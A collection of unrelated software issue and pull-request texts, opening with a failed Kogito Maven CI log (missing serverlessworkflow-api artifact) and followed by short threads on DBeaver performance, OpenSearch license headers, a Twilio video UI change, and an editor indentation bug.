s][2023-11-06T14:32:32.083Z] [INFO] Kogito:: Addons :: Quarkus:: Serverless Workflow:: Python:: Runtime SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito:: Addons :: Quarkus:: Serverless Workflow:: Python:: Deployment SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito:: Addons :: Quarkus:: Serverless Workflow:: Python:: Integration Test SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Integration Tests :: Quarkus ............. SUCCESS [  0.036 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Integration Tests :: Quarkus :: OpenAPI Client Codegen SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: DB Scripts Collection .................... SUCCESS [  3.699 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Add-Ons :: Process SVG :: Common ......... SUCCESS [  2.902 s][2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: OpenAPI :: Parser . SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Fluent ............ SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: Core ... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: Service  SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: Rest ... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: gRPC ... SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: Kafka event implementation SKIPPED[2023-11-06T14:32:32.083Z] [INFO] Kogito :: Serverless Workflow :: Executor:: Python . SKIPPED[2023-11-06T14:32:32.083Z] [INFO] ------------------------------------------------------------------------[2023-11-06T14:32:32.083Z] [INFO] BUILD FAILURE[2023-11-06T14:32:32.083Z] [INFO] ------------------------------------------------------------------------[2023-11-06T14:32:32.083Z] [INFO] Total time:  04:15 min (Wall Clock)[2023-11-06T14:32:32.083Z] [INFO] Finished at: 2023-11-06T09:32:30-05:00[2023-11-06T14:32:32.083Z] [INFO] ------------------------------------------------------------------------[2023-11-06T14:32:32.083Z] [ERROR] Failed to execute goal on project kogito-serverless-workflow-utils: Could not resolve dependencies for project org.kie.kogito:kogito-serverless-workflow-utils:jar:2.0.0-SNAPSHOT: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/) -> [Help 1][2023-11-06T14:32:32.083Z] org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal on project kogito-serverless-workflow-utils: Could not resolve dependencies for project org.kie.kogito:kogito-serverless-workflow-utils:jar:2.0.0-SNAPSHOT: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.getDependencies (LifecycleDependencyResolver.java:269)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.resolveProjectDependencies (LifecycleDependencyResolver.java:147)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.ensureDependenciesAreResolved (MojoExecutor.java:401)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:347)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:210)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:195)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)[2023-11-06T14:32:32.083Z]     at java.lang.Thread.run (Thread.java:829)[2023-11-06T14:32:32.083Z] Caused by: org.apache.maven.project.DependencyResolutionException: Could not resolve dependencies for project org.kie.kogito:kogito-serverless-workflow-utils:jar:2.0.0-SNAPSHOT: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/)[2023-11-06T14:32:32.083Z]     at org.apache.maven.project.DefaultProjectDependenciesResolver.resolve (DefaultProjectDependenciesResolver.java:214)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.getDependencies (LifecycleDependencyResolver.java:243)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.resolveProjectDependencies (LifecycleDependencyResolver.java:147)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.ensureDependenciesAreResolved (MojoExecutor.java:401)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:347)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:210)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:195)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)[2023-11-06T14:32:32.083Z]     at java.lang.Thread.run (Thread.java:829)[2023-11-06T14:32:32.083Z] Caused by: org.eclipse.aether.resolution.DependencyResolutionException: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/)[2023-11-06T14:32:32.083Z]     at org.eclipse.aether.internal.impl.DefaultRepositorySystem.resolveDependencies (DefaultRepositorySystem.java:357)[2023-11-06T14:32:32.083Z]     at org.apache.maven.project.DefaultProjectDependenciesResolver.resolve (DefaultProjectDependenciesResolver.java:207)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.getDependencies (LifecycleDependencyResolver.java:243)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.resolveProjectDependencies (LifecycleDependencyResolver.java:147)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.ensureDependenciesAreResolved (MojoExecutor.java:401)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:347)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:210)[2023-11-06T14:32:32.083Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:195)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.083Z]     at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)[2023-11-06T14:32:32.084Z]     at java.lang.Thread.run (Thread.java:829)[2023-11-06T14:32:32.084Z] Caused by: org.eclipse.aether.resolution.ArtifactResolutionException: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultArtifactResolver.resolve (DefaultArtifactResolver.java:425)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultArtifactResolver.resolveArtifacts (DefaultArtifactResolver.java:229)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultRepositorySystem.resolveDependencies (DefaultRepositorySystem.java:340)[2023-11-06T14:32:32.084Z]     at org.apache.maven.project.DefaultProjectDependenciesResolver.resolve (DefaultProjectDependenciesResolver.java:207)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.getDependencies (LifecycleDependencyResolver.java:243)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.resolveProjectDependencies (LifecycleDependencyResolver.java:147)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.ensureDependenciesAreResolved (MojoExecutor.java:401)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:347)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:210)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:195)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)[2023-11-06T14:32:32.084Z]     at java.lang.Thread.run (Thread.java:829)[2023-11-06T14:32:32.084Z] Caused by: org.eclipse.aether.transfer.ArtifactNotFoundException: Could not find artifact io.serverlessworkflow:serverlessworkflow-api:jar:4.0.5.redhat-00001 in mirror-central (https://bxms-qe.rhev-ci-vms.eng.rdu2.redhat.com:8443/nexus/content/groups/kogito-runtimes-pr-artifacts-group/)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.connector.basic.ArtifactTransportListener.transferFailed (ArtifactTransportListener.java:48)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.connector.basic.BasicRepositoryConnector$TaskRunner.run (BasicRepositoryConnector.java:369)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.util.concurrency.RunnableErrorForwarder$1.run (RunnableErrorForwarder.java:75)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.connector.basic.BasicRepositoryConnector$DirectExecutor.execute (BasicRepositoryConnector.java:628)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.connector.basic.BasicRepositoryConnector.get (BasicRepositoryConnector.java:262)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultArtifactResolver.performDownloads (DefaultArtifactResolver.java:514)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultArtifactResolver.resolve (DefaultArtifactResolver.java:402)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultArtifactResolver.resolveArtifacts (DefaultArtifactResolver.java:229)[2023-11-06T14:32:32.084Z]     at org.eclipse.aether.internal.impl.DefaultRepositorySystem.resolveDependencies (DefaultRepositorySystem.java:340)[2023-11-06T14:32:32.084Z]     at org.apache.maven.project.DefaultProjectDependenciesResolver.resolve (DefaultProjectDependenciesResolver.java:207)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.getDependencies (LifecycleDependencyResolver.java:243)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleDependencyResolver.resolveProjectDependencies (LifecycleDependencyResolver.java:147)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.ensureDependenciesAreResolved (MojoExecutor.java:401)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.doExecute (MojoExecutor.java:347)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:171)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:163)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:210)[2023-11-06T14:32:32.084Z]     at org.apache.maven.lifecycle.internal.builder.multithreaded.MultiThreadedBuilder$1.call (MultiThreadedBuilder.java:195)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.Executors$RunnableAdapter.call (Executors.java:515)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.FutureTask.run (FutureTask.java:264)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.ThreadPoolExecutor.runWorker (ThreadPoolExecutor.java:1128)[2023-11-06T14:32:32.084Z]     at java.util.concurrent.ThreadPoolExecutor$Worker.run (ThreadPoolExecutor.java:628)[2023-11-06T14:32:32.084Z]     at java.lang.Thread.run (Thread.java:829)[2023-11-06T14:32:32.084Z] [ERROR] [2023-11-06T14:32:32.084Z] [ERROR] Re-run Maven using the -X switch to enable full debug logging.[2023-11-06T14:32:32.084Z] [ERROR] [2023-11-06T14:32:32.084Z] [ERROR] For more information about the errors and possible solutions, please read the following articles:[2023-11-06T14:32:32.084Z] [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/DependencyResolutionException[2023-11-06T14:32:32.084Z] [ERROR] [2023-11-06T14:32:32.084Z] [ERROR] After correcting the problems, you can resume the build with the command[2023-11-06T14:32:32.084Z] [ERROR]   mvn  -rf :kogito-serverless-workflow-utils[2023-11-06T14:32:32.084Z] [INFO] kiegroup/kogito-runtimes failed. Won't execute remaining commands and projects[2023-11-06T14:32:32.084Z] [INFO] Execution summary for kiegroup/kogito-runtimes[2023-11-06T14:32:32.084Z] # [BEFORE] [kiegroup/kogito-runtimes] export INTEGRATION_BRANCH=[2023-11-06T14:32:32.084Z] [INFO] OK [Executed in 0.323667 ms][2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] # [BEFORE] [kiegroup/kogito-runtimes] bash -c "if [ ! -z '' ] && [ -f .ci/environments/update.sh ]; then .ci/environments/update.sh  ; fi"[2023-11-06T14:32:32.084Z] [INFO] OK [Executed in 9.015247 ms][2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] # [COMMANDS] [kiegroup/kogito-runtimes] export MVN_CMD=`bash -c "if [ '' = 'true' ]; then printf 'deploy  '; else printf 'install'; fi"`[2023-11-06T14:32:32.084Z] [INFO] OK [Executed in 8.08321 ms][2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] # [COMMANDS] [kiegroup/kogito-runtimes] mvn dependency:tree clean -Dfull install -Dproductized -Ddata-index-ephemeral.image=quay.io/kiegroup/kogito-data-index-ephemeral -Dproductized -Ddata-index-ephemeral.image=quay.io/kiegroup/kogito-data-index-ephemeral -s /home/jenkins/workspace/KIE/kogito/1.44.2.x-prod/pullrequest/kogito-runtimes.tests.kogito-runtimes@tmp/config8824283044372326010tmp -Dmaven.wagon.http.ssl.insecure=true -Dmaven.test.failure.ignore=true -Dproductized -Dproductized -nsu -ntp -fae -e -Dhttp.keepAlive=false -Dmaven.wagon.http.pool=false -Dmaven.wagon.httpconnectionManager.ttlSeconds=120 -Dmaven.wagon.http.retryHandler.count=3 -T 1C -Dvalidate-formatting   -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn -B[2023-11-06T14:32:32.084Z] [INFO] NOT OK [Executed in<PHONE_NUMBER>35 ms][2023-11-06T14:32:32.084Z] [ERROR] The process '/opt/tools/apache-maven-3.8.7/bin/mvn' failed with exit code 1[2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] [INFO] [AFTER] No commands were found for kiegroup/kogito-runtimes[2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] # Uploading artifacts[2023-11-06T14:32:32.084Z] [INFO] Will not upload any artifacts in CLI environment[2023-11-06T14:32:32.084Z]  [2023-11-06T14:32:32.084Z] [ERROR] Failed to execute commands for kiegroup/kogito-runtimes[2023-11-06T14:32:32.084Z] [ERROR] Failed to execute mvn dependency:tree clean -Dfull install -Dproductized -Ddata-index-ephemeral.image=quay.io/kiegroup/kogito-data-index-ephemeral -Dproductized -Ddata-index-ephemeral.image=quay.io/kiegroup/kogito-data-index-ephemeral -s /home/jenkins/workspace/KIE/kogito/1.44.2.x-prod/pullrequest/kogito-runtimes.tests.kogito-runtimes@tmp/config8824283044372326010tmp -Dmaven.wagon.http.ssl.insecure=true -Dmaven.test.failure.ignore=true -Dproductized -Dproductized -nsu -ntp -fae -e -Dhttp.keepAlive=false -Dmaven.wagon.http.pool=false -Dmaven.wagon.httpconnectionManager.ttlSeconds=120 -Dmaven.wagon.http.retryHandler.count=3 -T 1C -Dvalidate-formatting   -Dorg.slf4j.simpleLogger.log.org.apache.maven.cli.transfer.Slf4jMavenTransferListener=warn -B :[2023-11-06T14:32:32.084Z] [ERROR] The process '/opt/tools/apache-maven-3.8.7/bin/mvn' failed with exit code 1[Pipeline] }[Pipeline] // withCredentials[Pipeline] }[2023-11-06T14:32:32.185Z] Deleting 1 temporary files[Pipeline] // configFileProvider[Pipeline] }[Pipeline] // scriptPost stage[Pipeline] script[Pipeline] {[Pipeline] sh[2023-11-06T14:32:32.616Z] + find . -type d -name node_modules -exec rm -rf '{}' ';'[Pipeline] junit[2023-11-06T14:32:32.638Z] Recording test results[2023-11-06T14:32:34.225Z] [Checks API] No suitable checks publisher found.[Pipeline] archiveArtifacts[2023-11-06T14:32:34.258Z] Archiving artifacts[Pipeline] }[Pipeline] // script[Pipeline] script[Pipeline] {[Pipeline] sh[2023-11-06T14:32:35.375Z] + rm -rf console.log[Pipeline] sh[2023-11-06T14:32:35.670Z] + wget --no-check-certificate -qO - https://eng-jenkins-csb-business-automation.apps.ocp-c1.prod.psi.redhat.com/job/KIE/job/kogito/job/1.44.2.x-prod/job/pullrequest/job/kogito-runtimes.tests.kogito-runtimes/1/consoleText[2023-11-06T14:32:35.670Z] + tail -n 300


Pencil beam cut is not vertical

Hence more particles with large absolute angle than small

Resolved as this was a diverging beam; cut is vertical when drifted towards end of collimator


Over 70s can not open a table even an empty table

os : macOs 10.15.7
dbeaver version : 7.3.5
java version: 8
drive：8.0.17
When I open one table  ,it always costs over 70s ,even an empty table. how can I solve it?

And it always notices :  DataSource was invalidated, live  connection count 2/2

you failed to mention which database are you on, but you can try setting the connection keep-alive timeout on connection settings

Could you please send what query is running in Query Manager at this time (Window>Show view>Query manager). Enable all query types here:


Update licenses across the project

Signed-off-by: Harsha Vamsi Kalluri<EMAIL_ADDRESS>Description
Adds the OpenSearch recommended SPDX license header
Issues Resolved
[List any issues this PR will resolve]
Check List

[ ] New functionality includes testing.

[ ] All tests pass

[ ] New functionality has been documented.

[ ] New functionality has javadoc added

[ ] Commits are signed per the DCO using --signoff
[ ] Commit changes are listed out in CHANGELOG.md file (See: Changelog)

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@nknize do we want to get rid of the licenseanalyzer tasks in this repo given that we use the upstream gradle plugins?

@nknize do we want to get rid of the licenseanalyzer tasks in this repo given that we use the upstream gradle plugins?

Yes. We can do that in a follow up PR.


Please add KCFinder integration on CKEditor

Hi Waifung,please add KCFinder integration on CKEditor, CI3 session is different from CI2, so it's hard to call session to limit the authorized access only in KCFinder. Thanks

Do you mean the CKEditor when using GroceryCRUD library?
If yes then you will need to raise an issue on its Github page, as the library is not maintained by myself.
https://github.com/scoumbourdis/grocery-crud/

Yes, ok.


Video 4893 show network for main participant

Contributing to Twilio

All third party contributors acknowledge that any contributions they provide will be made under the same open source license that the open source project is provided under.

[x] I acknowledge that all my contributions will be made under the project's license.

Pull Request Details
JIRA link(s):

VIDEO-4893

Description
This PR adds the network quality indicator to the main participant. This is the same network quality indicator that is used by the <ParticipantInfo /> component. We decided to move the styling to the <NetworkQualityLevel /> in order to remove the empty boxes from the participant thumbnails in P2P rooms.
Screenshots:
Main participant === localParticipant:

Main participant !== localParticipant:

Burndown
Before review

[ ] Updated CHANGELOG.md if necessary
[ ] Added unit tests if necessary
[ ] Updated affected documentation
[x] Verified locally with npm test
[x] Manually sanity tested running locally
[x] Included screenshot as PR comment (if needed)
[x] Ready for review

Before merge

[ ] Got one or more +1s
[ ] Re-tested if necessary

@timmydoza I didn't think any unit tests needed to be updated for the <MainParticipantInfo /> as there doesn't appear to be anything related to the network quality in the <ParticipantInfo /> unit tests, but please let me know if I should add some.


Selected info was not changed with conversion indent character.

Reproduce steps below..
Step1:
Open a source file with space indented.
Step2:
Select a line with indented.
And selected range info is displayed right side in taskbar.
Step3:
Change space to tab.
Step4:
Selected range info isn't changed before change indent character.

I can reproduce.

Can you provide more details about how to reproduce? I tried files with spaces, tabs, mixed but can't reproduce.

My environment (Mac OS) reproduced. I supposed it depends on an extension.
Can you remove extension and try it again?

I didn't reproduce when running code --disable-extensions, can you try it as well and see if any of your local extensions make it happen?

@fujitatakesh thanks, I can reproduce now